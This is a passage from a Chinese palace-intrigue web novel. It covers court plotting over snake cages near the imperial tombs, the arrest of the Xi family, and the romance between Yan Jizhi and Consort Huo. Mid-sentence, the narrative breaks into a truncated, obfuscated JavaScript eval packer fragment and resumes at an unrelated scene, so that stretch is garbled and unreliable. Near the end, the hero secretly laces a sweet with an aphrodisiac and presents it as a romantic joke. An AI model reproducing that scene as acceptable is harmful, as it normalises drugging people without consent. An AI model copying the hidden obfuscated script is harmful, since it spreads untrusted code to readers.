魏王和薛述聪哥俩过来,不是同行而来是在山脚下遇上的,薛述嘉凑过去一看,啊啊啊差点栽他哥怀里,为什么没人告诉他一声,为什么你们反应那么正常? 薛述聪真嫌眼睛疼,这真有点丧心病狂了,晏霁之打量魏王被反注视之后移开视线。 “你在怀疑什么?这些玩意儿是本王派人放的?”魏王挑破。 “是我多心了,你忙着要把罗方渡送进死牢当做给自己三十岁的生辰礼。”晏霁之说。魏王一噎,更想瞪他了,薛述嘉摸摸手臂有点起鸡皮疙瘩了:“咱们还是走远些吧,这些玩意儿没准能蹿起来,它们可是能腾空飞一段的。” “假若确有人在背后操纵,把人揪出来,定斩不饶。”皇帝吩咐过,扶着太上皇走远,留臣子们相互看看,魏王忖度应该不是昌隆侯吧,霍海啸赞同。 走远了,太上皇道:“皇帝在怀疑什么?” “此人太过没有顾忌,他不怕死?不该吧,那么他图谋的就不该是妄想以此胁迫朝廷,若如此,这幕后之人意欲何为?”嬴忱璧神情幽幽,太上皇眼眸微眯:“有人想把水搅浑,再出现在朝堂平息乱象,这是在自导自演妄想趁势崛起?” 嬴忱璧宽解:“若有此人,适时必会出现,父皇放心。” 班丞相率十多名大臣匆匆赶来,霍桑柔都过来了,她从小觉庵回去,在府前碰上糟老头祖父要出门,霍擎说带她去看个热闹,她想想可以啊就跟来了。来到地儿,跟着走进人群,毫无防备地看到那些蛇,霍桑柔连跑都忘了,吓得在原地鬼哭狼嚎。 大人们没心思理会个小姑娘乱嚎,霍漓江嫌吵的吓唬:“你快掉下去了。” “……” 霍桑柔抖激灵跑掉,薛述嘉想追被霍枫叶挡住,霍枫叶跟上,带侄女回府去。 皇帝嬴忱璧问霍擎:“老国公怎么看?” “近来的乱象若确有人在统一谋划,这人挺傻的。”霍擎评价:“后续必会落在舆论上,朝廷尚没有两全的反攻之策,他站出来毛遂自荐,不是不打自招嘛。” 郢国公不着痕迹地睨眼霍擎,嬴忱璧点点头:“先把这些处理了吧。” “哎,陛下,这些对咱们是祸害,对张神医没准有用,不如传他来瞧瞧,若他用得着,不若就送给他吧。”薛述聪忙劝,嬴忱璧顺口问句:“驸马痊愈了?” 薛述聪应声谢陛下关怀,嬴忱璧允道:“好,派人去请张神医。” 太上皇不再停留,率众回太微宫,霍秦川拽拽老爹避到边上,霍漓江和霍骏豪跟过来,霍漓江抢前嘲笑:“老爹你刚才应对得是有点糊涂了,郢国公又不是没长耳朵,皇宫的瘟疫若都在人家的统一谋划里,郢国公跟那位还能没勾搭在一起?” 霍擎反鄙视:“所以你老子要蒙蔽他呀。” 霍漓江顿时兴致缺缺:“所以爹您真正的想法是?” 霍擎老眼深邃:“怕是冲着霍家来的,有人想趁势踩着霍家上去。” 晏霁之避着皇帝靠近霍海啸,霍海啸在做收尾布置,晏霁之环顾四周,压低声音谈话:“我不去太微宫了,你掩护好我别让皇帝发现了。” 霍海啸要笑不笑:“那你想去哪里?” 晏霁之怨念:“我回来几天了还没见过她呢。” 霍海啸想把他踹坑里算了:“你怎么就有脸觉得我能掩护你呢?” “大舅哥,不见外。”晏霁之说,霍海啸攥拳,晏霁之立刻撤退,逃过大舅兄的魔爪,他牵马混进人群,在半途中凑去霍海啸身边寻机避走,绕远路奔向皇宫。 霍灵渠在书斋,宫娥禀报说英王世子求见,她腾的脸红,她记得自己想在上半年适应好没有晏霁之,如今已是七月,她……霍灵渠不由自主有些不敢面对晏霁之。 男人进屋来,霍灵渠握握书卷有点不知所措,都没想她还没有准许英王世子进门。 宫女们奉过茶水退出书斋,晏霁之来到女人身侧,霍灵渠踌躇着站起来,斟酌措辞时,晏霁之拥住她热吻,霍灵渠俏脸热,想阻拦偏手臂发软继而深陷其中,两人亲热好一会儿,在险些不可收拾前急刹住,霍灵渠浑身发烫、小脸红扑扑的羞涩。 晏霁之抱她坐在太师椅中,抬手抚抚她的脸颊,看见她被染花的口脂,拿她的丝帕给她擦擦,把丝帕给她,霍灵渠莫名不好意思,再给他擦拭,擦过,晏霁之又低头落吻,霍灵渠不知怎的以前的亲热之举在他离开两个月后见面让她紧张又坦然。 “你晒黑了。”霍灵渠抬抬眸看他,双手握住他的手,脸蛋绯红。 “嗯。”晏霁之跟她鼻尖相触,目不转睛注视她,眼波相对,霍灵渠热得好像冒汗了,只能想让他败败火:“你们今天那么多人去锦汤山?” 晏霁之嗯,又吻她会儿,把事情告诉她,霍灵渠讶异:“哪里来那么多长虫?” 呃?他们好像谁都没想过这问题,晏霁之直觉道:“山里少不了,不难找啊。” “难的吧,至少二三百条长虫又能孵出多少,若轻易能找到那么多蛇,谁还敢进山呀,山里不早就蛇满为患,朝廷应该早处理了呀。”霍灵渠再握握他的手想寻求认同,女人美眸晶亮可是不知自己散发着诱惑,晏霁之警觉:“若是有人专门饲养?” “应该在京郊或者京畿周边县城,不会难找的,你去向人家确认了谁向他们买的,有证据总好过凭猜测指摘恒山王。”霍灵渠抬手摸摸他眉头,晏霁之缓缓摇头:“不,是昌隆侯,若有人专门在饲养应该就是昌隆侯和恒山王在饲养?” “啊,又是昌隆侯?”霍灵渠吃惊:“不可能吧,他养那么多长虫做什么,何况,何况这是在京畿附近,他真想要养也应该在南边在他自己的眼皮下吧?” “可皇陵在京畿啊。”晏霁之讽笑。 霍灵渠震惊:“你是说,他想破坏皇陵的风水,坏掉嬴氏皇族的气运?” “应该还在于他蓄养的私兵,假若那些活物入药能增强战力,一人当三五人用,代价只是这群人会死,他会不做吗?再有,是想绑住跟他做这件事的宗亲吧,假设就是恒山王,这事做了,恒山王还能下他的船吗?一箭三雕,昌隆侯太可疑了。” 晏霁之亲她一口,霍灵渠跟着心跳下,晏霁之留恋道:“我要去太微宫,这就走了。” “哦,”霍灵渠愣下低低应,很难说这声哦有没有落寞不舍,晏霁之再吻住她,霍灵渠情不自禁,怎么被放进太师椅中都没知觉,晏霁之快步出门,她蜷缩在椅中,小脸凝落自己没有意识的失落,霍桑柔喊着姐冲来,霍灵渠一个激灵立起来。 晏霁之赶到太微宫时嬴忱璧正要起驾回皇城,恭维他:“你还知道来呀。” “陛下,臣有个猜测禀告。”晏霁之忽略皇帝的阴阳怪气。 “说吧。”嬴忱璧散漫允,晏霁之禀告过,皇帝神情变了,幽幽问:“假设被你言中了,他在朕和太上皇眼皮底下做这些事应该没多久吧?” 晏霁之应道:“一两年或者两三年,应该不会超过三年。” 嬴忱璧眼底聚起杀气,晏霁之低头道:“在此猜测的基础上,针对近来的乱象,臣有一反击之策。”得准许,他再禀道:“派人入醴泉县彻查,今夜再调军过去。 假若查到真有人在皇陵边上饲养长虫,把事情推给契丹和被契丹收买的奸细,戒严,谁敢妄加非议,以细作论,斩。安排人挑事,官差把人抓捕后以他同伙的名义向虢王、代王、恒山王、郢国公等人送信求救,就看看有没有鱼能被钓出来。” “嗯!”嬴忱璧拂袖,带他去找太上皇。 在一旁等着各自散去的魏王看看这群老头,带他们折返回去。而折返的结果就是,全被留下了,皇帝和太上皇震怒了,查证前不想有任何差池,班丞相率众去偏殿,霍擎没冒头,魏王没顾忌地找晏霁之,霍海啸和原牧烈接到任务也知道什么情况了。 “咱这姑父和表兄弟估计要气得头顶冒青烟了。”出发前,霍海啸跟晏霁之聊两句。 “若被言中,他是太没有底线了。”晏霁之嗟叹。 “也是胆怯吧。”霍海啸讽刺:“若敢于一争,何必搞这些旁门左道。” 原牧烈过来说可以出发了,霍海啸握马鞭和他往外走,他们两个率二十轻骑出太微宫,烈马疾驰,他们数息间扬尘而去。烟尘弥漫间,一人从藏身处走出,遥望百丈外的宫阙,他察觉到身后有人,侧身看去,认出这人,玉藏珠的丈夫冯惊珏。 “很后悔一时的意气用事吧,若是跟前妻和离后,你没有为争一口气立时娶章醇郡主,你至少还可以跟虢王撇清。就差二十天,虢王府要塌了,你也逃不过了。” 滕王状告虢王,预感到虢王府和自己的前景以来,梅浮雪什么心情都尝过,沉淀多日,面对算陌生的同僚扎他的痛处,他也平和:“你来这里做什么?” “看太微宫啊,其实大家一样心思,既然有年轻臣子可以在君王面前与老臣同站一堂,为什么不是我?”语毕,冯惊珏转身离去。 梅浮雪注视会儿他的背影,他对晏霁之很熟悉,不是对晏霁之本人熟悉,而是对晏霁之这个名字熟悉,他是授康二十三年的状元,晏霁之是授康二十六年的状元,晏霁之在京中又是出了名的贵公子,想不熟悉这个名字都难,有人拿两届状元比较,他从不在意。 这会儿他忽然不那么想了,不管晏家将来如何,至少,晏霁之站到过高处。 在家乡都是人中龙凤,怎么进国都之后那么微不足道? 晴空在金乌的滑落中步向夜晚,太微宫亮起星罗棋布的灯火,灿若繁星。 平原大长公主奇了怪了,什么事啊要整夜留在太微宫商议还连薛述嘉都被留着? 湘王去问情况,没问出个所以然,只一同被父皇和皇兄留着。 霍灵渠抱着小婴儿倚栏看星空,她觉得寂寥,抱着这小婴儿才好些。 郗家宅中,郗猷对妹妹道:“明天,就给晏霁之下帖子。”这就在他们的计划中,只不过原计划还得过几天才会约见晏霁之,可今天不寻常,郗猷怎么看都不敢掉以轻心。 夜深人静之际,一名轻骑入太微宫,不久后城外整装待发的三千军队驶向醴泉县。 晏霁之在黎明前登高,想看日出,突然多出一人,薛述聪问:“到底出什么事了?” 问到因由,薛述聪不可思议的看着他,晏霁之打趣:“还不如不知道吧?” 薛述聪手托着额头,垂头丧气:“侯瞻逊是不是又回京了?” 晏霁之随意嗯,薛述聪头疼:“武襄侯府还能留得住吗?” “你家对兵部尚书的位置有兴趣?”晏霁之顺理成章猜,薛述聪一噎,被烦躁得嫌他:“我没想过这茬。”他静静心,顺势问:“你爹想往前冲一冲?” “兵部尚书的位置若是空出来,皇帝和太上皇都会属意让魏王接任,这是个让他们三方都能满意的安排。”晏霁之笃定,薛述聪:“……”我竟无言以对。 “真是一招妙棋。”薛述聪没好气:“皇帝还嫌魏王磨蹭吗?” 晏霁之直言不讳:“他应该想在五六年内收拾干净吧。” 薛述聪哼道:“还有蜀王呢,蜀王会是省油的灯吗?” “你若这么算,你还有个大舅哥,护国公府这笔总得要有个了结。”晏霁之恭喜。 薛述聪宁愿回屋。 他走后,旭日喷薄,霞光万丈。 清早,卯时初刻,皇帝和太上皇率领留在太微宫的众臣和一千军队开赴醴泉县,未时前抵达被封的园子,在郊外,外观破旧,方圆一里地没有邻居,围墙三丈高。 霍海啸和原牧烈恭迎圣驾,不知情的大臣多个眼神打量他俩,皇帝陪太上皇进门,众人鱼贯而入,来到目的地,六座铁笼映入眼帘,每座铁笼大概一丈多高半亩大小,铁网封顶,三面皆是墙,朝西的一面底部是三尺高的短墙再由密密细箍的铁网封闭。 遍地浓烈的雄黄酒味,霍海啸还有安排二百人举着火把防护,薛述嘉看得也差点吓尿,湘王晕乎得脑门冒金星,没有防备的人们触目惊心,显国公都要嫌眼睛疼了。 薛述聪握住身旁晏霁之的手臂,晏霁之瞟瞟他的爪子再看看他。 霍秦川真不想看,虽然他爹和弟弟、妹夫、大外甥都像不嫌伤眼睛似的。 班丞相粗算算少说三千条,在皇陵附近还能不是冲着皇陵? 有几位老大人望望天空,要血流成河了,这等事,太上皇和皇帝不杀一批怎么都不可能息怒了。 霍海啸禀告,审问出来,此事是从正徽三年末开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“可你心里的人已经是贵妃了。”郗意殷殷善劝:“你总要娶妻的,我图的是郗家兴旺,我不会管丈夫爱不爱我、想纳多少妾室,我对你是上上之选。” “你大嫂和昌隆侯世子夫人是表姐妹。”晏霁之提醒。 “正是因此,郗家才要进京来。”郗意从琴案后走出,郑重道:“不谈亲事,谈家族计,但请英王世子给郗家指条路向陛下请安,世子想要多少路费,尽管开口。” 晏霁之沉吟道:“我想一想吧,但会不会给你答复,不一定。” 郗意颔首:“当然。” 晏霁之告辞,走出郗宅,数步外有一人挡路,晏霁之沉默下,侧身,换个方向再走开,在他走几步将走远时,玉藏珠自嘲:“我竟不知你是如此绝情之人。” “绝情?”晏霁之止步,批驳道:“绝情二字只有你丈夫对你才适用,一个曾表过对你倾慕的男人在你眼中该一直倾慕你、否则在你看来就是绝情?呵,自重。” 晏霁之策马而去,玉藏珠眼底微有湿润,抬抬下巴,不让自己露出软弱。 在暗中观察的看客们各自散去,郗宅府门后,看过场戏的兄妹俩往回走,郗猷抒发道:“没想到你给玉藏珠送信,她居然真能过来。” 郗意不以为然:“玉家和冯家拿晏家多少好处了,她有多清高,有什么不会。” “晏霁之这是真不在意了?”郗猷犹疑,郗意责备:“你们男人很奇怪,喜新厌旧,你们习以为常,不再痴恋一个早已嫁做人妇的女人,你们又觉得不可信?” “他闹得轰轰烈烈嘛。”郗猷略过道:“那你看他对流光姨娘?” “目前,应该是真心的吧。”郗意给个限定,人再长情又能长情几年呢。 霍骏豪入皇宫给太后和贵妃请安,太上皇则迎来两位不速之客,他的四妹瑞执大长公主和瑞执的小舅母庞老夫人,也就是护国公和他已逝原贤妃的长姐。 对这两个女人,太上皇由衷的不想面对。 “阿爹的孩儿就我们七个了,兄弟们更是只剩你和小弟了。”瑞执大长公主咬牙切齿:“你心里还有爹就让秦王尽管往死里查,别再袒护昌隆侯了。” “妹妹,你说到哪去了,我会不想知道真相吗?”太上皇好脾气道:“滕王状告虢王和昌隆侯一事我的心情和你是一样的,捅破天也要把真相查出来。” 瑞执大长公主懒得跟他虚与委蛇,六十岁的庞老夫人笑道:“圣人,四十多年前大家还年少时你还喊过我大姐,我就托个大说你两句,肃宗陛下和庞贵妃五个孩儿就瑞执还在世,十几年,同母的四个弟弟妹妹相继离世,她心里苦,你是知道的。 你是兄长,原该爱护弟弟妹妹们,瑞执有怨冲着你也是跟你亲近,若非说这是无妄之灾岂不是一家兄妹要说两家话了,瑞执就你一个哥哥了,你担待些是应该的。” 真含沙射影得够了! 太上皇仍宽和:“是这话,四妹打小跟我亲,我哪能不晓得她的脾性。” 庞老夫人谢过圣人体恤再道:“臣妇带来的这两个姑娘是皇帝亲自批的关在辽阳死牢,有人想劫狱,是圣人的外甥,不好处理,陛下就把人送到我那儿去了。 我也不好办呀,只有把他们送来给圣人您了,不过,那俩姑娘既然原就在死牢里,您给我个薄面,在太微宫找间地牢还是把她们两个放在牢里吧。” “好!” 庞老夫人颔首:“那臣妇和瑞执就不打扰圣人了,明儿个再来给您请安。” 太上皇心说明天就不用来了,面上,仍笑着留一留远道而来的妹妹,好在,太上皇确定这妹妹不会留下,谁想,瑞执大长公主应承了,她就住太微宫吧,太上皇:“……” 太上皇默默自怨,明知这妹子对你有冲天大怨还假客气什么呀。 瑞执大长公主还得去滕王府看侄儿,这就跟小舅母走了,傍晚回来用膳。 你就留在滕王府吧,不用回来了,太上皇转念想,派人去传谷王和几位大长公主过来,今夜太微宫小宴给瑞执接风,又让人去叫皇帝,让皇帝带他母后也过来。 瑞执大长公主和庞老夫人出殿门,遇上赶来接儿子的武襄侯夫妇,武襄侯夫妇俩都身体微微僵了下,瑞执大长公主迎上前步发难:“大姐,我有个问题想问你呢。” 升平干笑:“四妹,几时回京的?” “你是就喜欢庄氏的女儿、还是就是不喜欢晏家女生的女儿?我母妃,咱爹的庞贵妃,她也是晏家女生的女儿。”瑞执好整以暇:“这就相当于你不喜欢我咯?” 升平赔笑:“四妹你想太多了,没这种事。” “好啊,但愿吧。”瑞执越过她往前去,庞老夫人跟上,武襄侯眼神微闪,避过视线,升平大长公主心里松口气,这个是平原见到她都要跟老鼠见到猫似的。 侯瞻渥几乎是绑着被爹娘带回家,到家里,还没闹,宫里来人了,霍贵妃派来两个太医给许姨娘把脉,好死不死的真诊出喜脉来,月余了,估摸着大暑时怀上的。 这样的喜讯,武襄侯脸都难看,侯瞻渥全程很懵,他爹哪来的小妾,被姐姐和侄儿侄女们告知后,侯瞻渥愣愣的,脑子里是不知所措的空白。 瑞执大长公主横冲进滕王府,滕王心弦一松,像在淋着凄风苦雨:“姑母?” 姑侄俩八年没见了。 看过弟弟的手札,瑞执一掌拍在桌上,一把抱过侄儿,双目精光全是彻骨的恨。 庞老夫人跟丈夫碰面,去在京中的护国公府。 夕阳红,平原抓狂,怎么没想到滕王状告虢王还有这么个附加的惨剧,这姐姐要在京里住几天呀?她出京避一避能不能避过去,平原大长公主就收拾行李了,显国公泼凉水:“你要走一年半载还是走个一两年,你有把握一辈子不会再见这姐姐?” 平原定住,感觉血脉在逆流:“待会儿你陪我过去。” 显国公利落拒绝:“那不可能,他们都不带家眷,我和你去算什么。” 平原大长公主干脆去霍霍儿媳妇,乐邑让薛述聪挡住,待薛述聪送走他娘,乐邑怪道:“都多少年了,她们姐妹俩都多少年没见了,你娘怎么还能怕成这样?” “这就是打小的压制。”薛述聪谈笑风生:“刻进骨髓里了,有记忆控制的。” 晏霁之下衙后去找霍海啸,开门见山:“郗家人今天约我见面。” 霍海啸没经心:“我知道,他们好几天前就进京了。” “郗家人不是想脱离昌隆侯,是想两头押注,脚踏两条船。”晏霁之再道。 “又如何?”霍海啸看他大惊小怪的。 “大舅哥!”晏霁之怀疑他魂不在身上,霍海啸反瞪,晏霁之没好气:“郗家人进京来,找的第一家能是我吗?郗家想两头押注想进京来,对昌隆侯的说辞能是什么,近来的乱象是郗家在操纵,他们进京来找的第一家又会是谁?” 霍海啸眸光凝聚,缓缓吐字:“郢国公府鞠家。” “必定会有见面礼。”晏霁之揭穿道:“想搏一把会只图家族兴旺?” “想崛起,和鞠家一样的心思。”霍海啸幽幽说过,勃然站起,眉间杀意凛然,郗家人对昌隆侯的说辞以及给郢国公的见面礼还能是什么,想趁势除掉霍家取而代之?! 是夜,原牧炽悄悄入京来复个命再住两天,然后和大哥一起回北境。 昏睡几日的庄太妃在小觉庵醒来,不敢看她的断臂,不能面对她会输的恐慌。 太微宫小宴,霍家和晏家也都有酒席,晏墉给表叔表婶洗尘,霍家给霍骏豪接风。晏家言笑晏晏间,小厮悄声向英王禀告:大姑奶奶求王爷给钟姨娘请位太医来,钟姨娘难产了。晏墉面色如常道:“勋哥儿,你大姐想请个大夫,你拿二十两银子给她吧。” 年轻的小辈们真嫌被打扰心情,晏琼勋来到府门外,摆足臭脸跟这人纠缠小两刻钟,把瘟神送走。晏明妧回到他们租赁的小宅,冷着脸把银两给弟弟就回自己的屋去。 晏明潜盯着这二十两银子,心里一阵阵发笑,这是打发要饭的吗? 钟姨娘辛苦两天两夜,生下个男婴,裴氏从外面回来,在屋子前碰上婆婆被好一顿骂,裴氏不在意的进屋,看着睡过去的钟姨娘,真难产了还是故意拖了两天呀? 七月三十,晨光微熹,原牧烈和原牧炽策马出城,回北境,庞老将军夫妇、霍骏豪、在京中隐匿的侯瞻逊皆各回各地,街上行人还稀疏,刑部和大理寺率军包围郗家兄妹的住宅,前往江南捉拿犯人的钦差前两天就出发了。 郗氏勾连番邦通敌卖国,夷三族。 155. 第155章 日照金耀,照尽被抓捕后的郗宅萧索。 在刑部和大理寺的一丝不苟之下,郗宅的一只猫都没有放过。 今日休沐,晏霁之没想出门都是被薛述聪硬拽出来的,他们到时官府早已将郗宅封了,晏霁之看他很有感想,薛述聪道:“我爹猜到了,郗家在昌隆侯帐下还早不进京晚不进京、偏偏在那么敏感之际入京来,是嫌自己不够招眼吗? 皇陵那边的事出来就注定郗家的死期了,郗猷还全不想皇陵那边的事跟他有什么关系,这是有多迟钝,他打着想来给陛下请安的名义就想把自己撇清是有多天真,谁会相信他,这种时候冒头,无风都能掀起三层浪,何况他进京后可不安生。” 晏霁之忽然想到:“皇帝是不是在锦汤山时就怀疑上郗家兄妹了?” 薛述聪不假思索:“没准儿,反正郗猷一进京,我爹就觉得不对劲了。” “但郗家想脱离昌隆侯的心应该不是假的。”班蕴堂带着妹妹也来瞧瞧。 “脱离?”薛述聪嗤讽:“那些乱象,昌隆侯都没想费心思,他蹦跶得欢?” “这?”班蕴堂皱眉,班落矜发言:“他们进刑部后会想攀咬吧?” “郗猷昨夜和侯瞻逊碰面,今早侯瞻逊一出城,郗家就倾覆,这么巧,他怕是要觉得是侯瞻逊出卖他。”薛述聪不屑,班蕴堂反对:“不至于吧,他什么想法才会想侯瞻逊出卖他,他真想攀咬,” 班蕴堂看眼晏霁之,说:“也是攀咬霍家或者晏家吧?” “他进京来还没跟霍家打过照面,他虽与我见过面但他不会觉得和我的会面有何不妥,他会怀疑侯瞻逊就像他想不通今早郗家的颠覆,既然一团乱麻,他会想咬着跟他走得近的人不奇怪。”晏霁之再添个:“或许还有郢国公府。” 响动传来,四人循声而望,看见霍雄鹰和霍巨浪,霍雄鹰把窥视者踹得站不稳险趴下:“鬼鬼祟祟的你跟踪谁呢?” 他骂的是郢国公世子。 郢国公世子没发作就离开,晏霁之抢白:“你没必要把他踹出来的。” “一路跟着我们,那么明目张胆,我们会没察觉吗?”薛述聪直接把霍雄鹰的词抢了,都猜到霍雄鹰想鄙视他们了,惹得霍雄鹰差点想给他们两个白眼。 霍巨浪走到掉落的郗宅匾额前,神情索寞,像压着火芯的冰山,眼中恨在燃烧。 班蕴堂看他古怪,薛述聪招呼道:“哎行了走吧,我带你们去看个乐子。” “……” 大家四散,薛述聪揪住晏霁之,晏霁之拒绝:“我近来没兴趣看歌舞。” 薛述聪一字一字咬牙:“我带你去看戏。” 班蕴堂带妹妹走出半里路,醍醐灌顶,郗猷进京来是冲着霍家,想借皇帝裁冗官之机把霍家踩下?唉,蕴堂兄想捏捏眉心,这是有多盲目啊,何况这样的事举全族之力谋划都不为过,郗家还轻描淡写的,这样还妄想成事?真是他家不死谁死啊。 晏霁之和薛述聪来到一座民宅前,刚隐蔽好,晏明潜匆匆而来,破门闯入。 裴氏是故意露出马脚的,好几天,晏明潜总算来了,她淡定跟晏明潜谈条件:“和离,我的孩子让我带走,我们请薛驸马放过你,想怎么选,你自己掂量吧。” 晏明潜差点想掐死这对奸夫淫~妇。 注视着他激愤而来又暴怒而走的两位还悠哉地在树荫下吃荷叶鸡,刚刚让小厮去买的,还有两瓶花雕酒,薛述聪灌两口酒,友好道:“你猜他什么下场?” “晏明潜没什么钱财了,入夏后都是裴氏在养家,裴氏带儿女一走,那些小妾和庶出,晏明潜多养一个都要嫌多。”晏霁之明白影射:“钟姨娘想要扶正。” 薛述聪挑眉:“这个钟姨娘会要搅得晏明潜把别的小妾和庶出都散尽?” 晏霁之答非所问:“自被分家以来,晏明潜就只想回英王府继续靠爹,英王不再管他,他坐吃山空到死都有可能,可这钟姨娘像是能过苦日子的吗?” 薛述聪有点惊讶:“过一两年,那个钟姨娘要爬墙了?” “这小妾敢这么大胆?”薛述聪讶然:“晏明潜会毁在这小妾手上,这小妾若是爬墙,晏明潜绝不会忍,他最终下场很可能是杀死钟姨娘把他自己搭进去?” 晏霁之风轻云淡:“你可以再帮他们一把。” 薛述聪数落他:“难怪魏王要骂你道貌岸然。” 所谓,坏事传千里嘛,没半天,晏明潜和裴氏这事就传遍了,霍舒窈一口茶水喷出来,晏明妧和姐弟俩的生母贾姨娘要去找英王被晏明潜拦住,他跟裴氏和离。 两个人很迅速,两天就彻底分干净了。 桓炜彤等到丈夫回家,再三确认:“真和离了,三个孩子都让裴氏带走?” “啊,他想让薛驸马高抬贵手嘛。”晏煦之随口搭话,解衣沐浴。 桓炜彤跟在后拾掇:“薛述聪已经痊愈了,晏明潜不知道吗?” 晏煦之奇怪地看着媳妇,桓炜彤客观道:“我就是有些意外,之前,他们闹着想争爵位谋算十几年了,总该有点本事吧,薛述聪痊愈了,把他折腾得也差不多了,人家又不是闲得会死揪着他不放吗?这件事,他其实拿捏得了裴氏。” “他应该就盯着想要回归英王府,没关注过薛述聪。”晏煦之解释。 “……”桓炜彤无语,去拿干净的亵衣。 显国公府薛家,乐邑长公主也在问驸马:“你真就这么放过晏明潜了?” “裴氏跟晏明潜和离,还给过晏明潜忠告,说那个钟姨娘,那么个搅家精,晏明潜不让她病逝肯定会被她搅得家无宁日,你晓得吧?”薛述聪反问,乐邑了然:“这个钟姨娘会想要扶正,晏明潜不会把裴氏的忠告当回事,那又如何?” 薛述聪懒懒靠在躺椅里勾勾手,乐邑凑过去,听完,她眼皮一跳,平静下,睨睨驸马:“晏霁之是故意给你出这主意,把裴氏支走让他们狗咬狗?” 薛述聪挺大方的:“随便啦。” 英王府中,桓炜彤也怀疑到了:“裴氏这事儿是堂哥给薛述聪出的主意吧?” 晏煦之摊摊手:“等世子回来,你有胆量自己去问呐。” 桓炜彤抬手拍他下。 夜幕罩满大地,暑热残余的萤火虫在郊外草丛若隐若现,马蹄跑过,惊起半池塘的星。魏王沉着脸坐在张神医的草庐里,眼底阴鸷,晏霁之坐在魏王对面,老大夫在给魏王带来的将领施针,张神医对魏王说:再晚个把月,神仙难救。 这是河间军的将领,悼太子的死忠,魏王三十岁生辰将至,让他必须入京一趟,他近年来总有些身子虚,偏他自己总不放在心上,魏王要他入京就是要带他来看大夫。 果然啊,不是患病。 霍海啸轻轻推柴门走入,没打搅老大夫施针,晏霁之和他去草庐外谈。 晏霁之也刚到,两人走到竹篱笆前,霍海啸直截了当:“魏王怀疑是太上皇?” “嗯。”晏霁之点头,霍海啸微微皱眉:“不至于吧?” “我怀疑是代王府。”晏霁之考量道:“虢王和昌隆侯早在魏王身边布下罗方渡了,犯不着画蛇添足。恒山王一味的就会眼睛长在头上,实际什么都不会,不可能是他。至于晋王,庄太妃的心思在依靠圣人争权、聚敛势力,不像会把河间军看在眼里。” 魏王走近来,霍海啸偏于认同道:“我刚收到个代王府的消息,嬴隐鹤想算计你和贵妃被当众捉住,但他思来想去,在皇宫中难有适当之机,故而他想趁着三天后魏王寿辰时,把贵妃引出宫来、把霍桑柔绑走、在霍家和贵妃慌乱之际下手。” “然后诬陷霍灵渠,霍桑柔被绑走是她自己做的就为跟我私会,太后和霍家是帮凶。”晏霁之被气笑了:“他还在趴着养伤吧,还没十天吧,就化悲痛为仇恨了? 他这仇恨的可有意思,庄太妃和鞠家算计他,他恨我和嬴忱璧,是就盯着皇帝宝座吧?谁算计他不重要,能让他有个发泄口冲着皇帝就可以了。” 霍海啸翘翘唇:“嬴隐鹤才二十来岁。” 才二十来岁就对皇帝那么大恨意,还能不是那个当爹的影响的? 晏霁之冷笑,魏王眼睑微阖,没说话。 他带来的人还要在张神医的草庐留几天,魏王独自回城,去刑部死牢。 狱中,罗方渡见到魏王,这个曾也顶天立地的汉子跪下来不断磕头。 夜飘来乌云遮星辰,今夜的夜,人间的光比夜空亮,夜半又落雨,加重几缕秋意。 小雨停在黎明前,太阳出来一照,石板上水迹没尽,浑似夜里没飘过雨。 霍贵妃传召晏煦之,皇帝嬴忱璧早两步走进关雎宫,晏煦之到来给陛下和贵妃请过安,霍灵渠坦荡道:“晏明潜是不是在跟英王置气啊?他放任自己被欺辱,他就看看英王是不是真要狠心不管他,但若英王一旦心有不忍,恐怕就要被他拿捏了。” 貌似好像是这样更说得通?晏煦之在心里鄙视晏明潜,谢过贵妃提点,告退。 霍灵渠再看向皇帝,嬴忱璧总觉得贵妃是不是对他有意见:“朕怎么了?” “你是不是觉得我爱多管闲事还偏爱对晏家多管闲事?”霍灵渠先发制人。 “朕没有这么想。”真的,嬴忱璧谦和道:“朕只是感于贵妃的洞察,朕都没有想过晏明潜会是抱着这种心思,但贵妃这么一说,还真是。” 霍灵渠挑刺:“你没有想过的想法,别人就不配想得到?” 嬴忱璧:“……”贵妃是对他有意见。 原想多留两刻钟的皇帝只好走人。 日近晌午,晏霁之来求见霍贵妃,问:“你有担忧,为何不找我谈?” 霍灵渠莫名心虚:“我,我怕你不好跟你爹谈晏明潜。” “煦之也不好做呀,今后若有类似的事,我在京中,不要麻烦人家了。”还是在书斋,晏霁之坐到她身侧把女人抱在怀里,霍灵渠看看他,小脸有点闷闷,晏霁之失笑,告诉她:“八月初六,我要南下了,中秋,我应该会在江南过。” 霍灵渠愣下,几乎脱口而出你又要出远门了?霍灵渠抿抿唇,不语。 晏霁之递个油纸包给她,霍灵渠接过,打开,看见有颗糖,就一颗糖,她拿糖来吃,脸依然闷闷的,晏霁之抚抚她的小脸:“皇帝跟你说代王府的事了吗?” “代王府?”霍灵渠诧异:“什么事?” 晏霁之把事情告诉她,心中计较,皇帝不可能还没得信吧,他昨夜回府都得到禀告了,那么就是,嬴忱璧只在防范代王府造反或者说没想过嬴隐鹤会想对付霍灵渠。 霍灵渠沉默,晏霁之倒杯茶给她,霍灵渠捧着茶碗浅啜,冷声道:“皇帝说的没错,他什么都没做。嬴隐鹤痛的不是喜欢的女人死了,而是他自认为的皇帝对他的羞辱,皇帝不肯供着他就是羞辱他、皇帝顺从他在他看来才是理所应当,心思,不言而喻。” “嗯。”晏霁之低头吻她,霍灵渠心肝儿颤下,俏脸飞霞。 “还记得我跟你还有笔账没清吧。”晏霁之吻她会儿,招恨的抽离,按住热情的女人,霍灵渠不记得了,追逐着晏霁之沉醉在想念里,主动亲吻男人。 晏霁之抬手点点她的樱唇,眼波含笑:“你不记得了我记得就好,我是来跟你要账的,我在给你的糖里放了点微量的合欢散,你自己能熬过去,就是会很折磨你。 我建议你可以去跑一跑,有助于你挨过去,我跟你说过的,我向你索赔肯定比你给我赔罪要让你付出的多,此事不是你想忽略就能略过的,你应该有心里准备。” 逐渐神智清醒的霍灵渠:“……”啊啊啊!! 皇帝带霍海啸过来,一进门,见贵妃果真在殿前跑步,刚刚走到半路,宫人跑来禀告,嬴忱璧听得就有些糊里糊涂,贵妃跑步做什么?这会儿依旧没懂,皇帝去拉贵妃还被贵妃张牙舞爪地挥开,嬴忱璧走向悠哉看戏的那位,怎么回事? 晏霁之解释过,皇帝&霍海啸:“……” 